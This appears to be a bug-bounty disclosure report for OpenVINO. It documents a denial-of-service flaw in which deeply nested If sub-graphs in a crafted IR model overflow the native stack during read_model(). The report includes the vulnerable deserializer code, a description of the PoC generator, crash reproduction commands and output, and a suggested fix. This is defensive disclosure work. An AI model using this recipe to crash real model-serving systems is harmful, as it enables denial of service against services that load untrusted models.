| # OpenVINO IR frontend: unbounded recursion in nested If/Loop/TensorIterator sub-graph deserialization causes a native stack-overflow crash (SIGSEGV) |
|
|
| **Status:** Verified (independently reproduced via real execution). Prepared for huntr submission. |
|
|
| ## Target |
|
|
| - Repo: [openvinotoolkit/openvino](https://github.com/openvinotoolkit/openvino) |
| - Package under test: pip `openvino==2026.2.1` (build `2026.2.1-21919-ede283a88e3-releases/2026/2`), CPU plugin |
| - Component: `src/core/xml_util/src/xml_deserialize_util.cpp` β `ov::frontend::ir::XmlDeserializer` |
|
|
| ## Dedup note |
|
|
| This is **not** the same finding as `openvino-ir-if-op-architectural-backdoor-poc` (an earlier |
| finding by the same author, already public on this account). That finding is a *semantic* |
| content-level backdoor hidden inside a single, ordinary, non-recursive `If` node β a |
| scanner-evasion / model-integrity issue. This finding is a *structural* flaw in the |
| deserializer's recursion architecture itself (unbounded call-stack depth), independent of what |
| the nested sub-graph bodies semantically contain. No known CVE was found covering unbounded |
| recursion depth in the OpenVINO IR frontend's control-flow sub-graph parsing at the time of |
| writing. |
|
|
| ## Root cause |
|
|
| In `src/core/xml_util/src/xml_deserialize_util.cpp`, |
| `ov::frontend::ir::XmlDeserializer::parse_function()` is invoked recursively β once per nesting |
| level β whenever the deserializer encounters a control-flow op's sub-graph attribute |
| (`then_body` / `else_body` for `If`-opset8, `body` for `Loop` / `TensorIterator`), via |
| `on_adapter(name, ValueAccessor<shared_ptr<Model>>&)`: |
|
|
| ```cpp |
| // src/core/xml_util/src/xml_deserialize_util.cpp |
| void XmlDeserializer::on_adapter(const std::string& name, ov::ValueAccessor<std::shared_ptr<ov::Model>>& adapter) { |
| std::shared_ptr<ov::Model> model; |
| io_map = {}; |
| |
| if (!name.compare("body") || !name.compare("then_body") || !name.compare("else_body")) { |
| auto body_node = m_node.child(name.c_str()); |
| if (body_node.empty()) { |
| OPENVINO_THROW("TensorIterator has no body."); |
| } |
| model = parse_function(m_node.child(name.c_str()), m_weights); // <-- recursive call, no depth limit |
| } else if (!name.compare("net")) { |
| model = parse_function(m_node, m_weights); |
| } else { |
| OPENVINO_THROW("Error: not recognized adapter name: ", name, "."); |
| } |
| adapter.set(model); |
| } |
| ``` |
|
|
| There is no recursion-depth limit anywhere in this call chain (`parse_function()` β |
| (per-node) `on_adapter()` β `parse_function()` β ...). A crafted IR with `N` `If` ops nested |
| inside each other's `else_body` causes `N` levels of genuine C++ call-stack recursion during |
| `ov::Core().read_model()`, **before any shape/semantic validation of the graph happens**. Once |
| `N` is large enough to exceed the calling thread's stack, the process segfaults (native stack |
| overflow) β a plain, unauthenticated DoS reachable purely by loading an attacker-supplied model |
| file, no special build (ASan/debug) required to observe it. |
|
|
| ## PoC |
|
|
| `gen_deep_if.py` builds a minimal, structurally-valid nested-`If` IR of parametrized depth `N`. |
| Each nesting level: |
|
|
| ``` |
| Parameter(f32, [1,4]) |
| -> boolean Const(cond, 1 byte, offset=0/size=1 into a shared 1-byte .bin) |
| -> If(opset8) { then_body: trivial Parameter->Result; |
| else_body: level N+1, or a trivial Parameter->Result at the deepest level } |
| -> Result |
| ``` |
|
|
| Only a single 1-byte weights blob is needed β every level's boolean `Const` reads the same |
| `offset=0, size=1`. |
|
|
| Usage: |
| ``` |
| python3 gen_deep_if.py <depth> <out_prefix> |
| ``` |
|
|
| Loaded via plain `ov.Core().read_model('deepif_N.xml', 'deepif_N.bin')` on the real, unmodified |
| pip-installed `openvino==2026.2.1` wheel (CPU, no custom build). |
|
|
| ### Captured evidence (depth = 5000, default 8 MB thread stack) |
|
|
| ``` |
| $ python3 -c " |
| import faulthandler; faulthandler.enable() |
| import openvino as ov |
| print('OpenVINO version:', ov.__version__) |
| core = ov.Core() |
| m = core.read_model('deepif_5000.xml', 'deepif_5000.bin') |
| print('LOADED OK (should not reach here)') |
| " |
| OpenVINO version: 2026.2.1-21919-ede283a88e3-releases/2026/2 |
| Fatal Python error: Segmentation fault |
| |
| Current thread 0x00007fa216107200 (most recent call first): |
| File ".../venv/lib/python3.13/site-packages/openvino/_ov_api.py", line 603 in read_model |
| File "<string>", line 7 in <module> |
| |
| Extension modules: numpy._core._multiarray_umath, numpy.linalg._umath_linalg (total: 2) |
| $ echo $? |
| 139 |
| ``` |
|
|
| Reproduced 3/3 across independent fresh Python processes. `faulthandler` shows the crash |
| occurring natively inside `openvino/_ov_api.py`'s `read_model()` call with no further Python |
| traceback β consistent with a native (C++) stack overflow rather than a Python-level error. |
|
|
| ### Negative control |
|
|
| ``` |
| $ python3 -c "import openvino as ov; m=ov.Core().read_model('deepif_1000.xml','deepif_1000.bin'); print('LOADED OK, ops:', len(m.get_ordered_ops()))" |
| LOADED OK, ops: 4 (exit 0) |
| ``` |
|
|
| ### Stack-size scaling (definitive stack-overflow signature) |
|
|
| `ulimit -s` scaling rules out a data-dependent memory-corruption bug and confirms unbounded |
| recursion depth as the cause β the crash threshold moves proportionally with available stack |
| size: |
|
|
| ``` |
| $ bash -c 'ulimit -s 16384; python3 -c "import openvino as ov; ov.Core().read_model(\"deepif_3000.xml\",\"deepif_3000.bin\"); print(\"LOADED OK\")"' |
| LOADED OK (exit 0) # same file that crashed (139) at default 8192 KB stack |
| |
| $ bash -c 'ulimit -s 2048; python3 -c "import openvino as ov; ov.Core().read_model(\"deepif_1000.xml\",\"deepif_1000.bin\"); print(\"LOADED OK\")"' |
| Segmentation fault (exit 139) # same file that loaded OK at default 8192 KB stack |
| ``` |
|
|
| ### Threshold bracketing (default 8 MB stack) |
|
|
| | depth | result | |
| |-------|--------| |
| | 1000 | LOADED OK | |
| | 2000 | LOADED OK | |
| | 2500 | LOADED OK (slow, ~66s β hints at additional superlinear-time behavior at depth) | |
| | 3000 | SIGSEGV (139) | |
| | 5000 | SIGSEGV (139) | |
|
|
| ### Stack-size scaling control |
|
|
| | ulimit -s | depth | result | |
| |-----------|-------|--------| |
| | 8192 KB (default) | 3000 | SIGSEGV | |
| | 16384 KB | 3000 | LOADED OK | |
| | 8192 KB (default) | 1000 | LOADED OK | |
| | 2048 KB | 1000 | SIGSEGV | |
|
|
| ## Impact |
|
|
| Any application that loads an untrusted/attacker-supplied `.xml`/`.bin` OpenVINO IR model pair |
| (a common pattern for model-serving, model-zoo, or plugin-style deployments) can be crashed |
| (denial of service) with a small, easily generated file β no malformed binary data, integer |
| overflow, or type confusion is needed, just ordinary nested `If` control-flow structure that the |
| IR format already permits. The crash happens during model loading, before inference, so it |
| affects any code path that calls `Core::read_model()` on untrusted input. |
|
|
| ## Suggested fix |
|
|
| Add an explicit recursion-depth counter/limit to `XmlDeserializer::parse_function()` / |
| `on_adapter()` (e.g., reject IR graphs with sub-graph nesting beyond a sane bound, or convert |
| the recursive descent into an explicit-stack iterative traversal), and validate nesting depth |
| before recursing. |
|
|
| ## Files in this repository |
|
|
| - `gen_deep_if.py` β PoC generator (parametrized depth) |
| - `deepif_5000.xml` / `deepif_5000.bin` β primary crash repro (reliable SIGSEGV at default 8 MB stack) |
| - `deepif_1000.xml` / `deepif_1000.bin` β negative control (loads cleanly, `LOADED OK, ops: 4`) |
|
|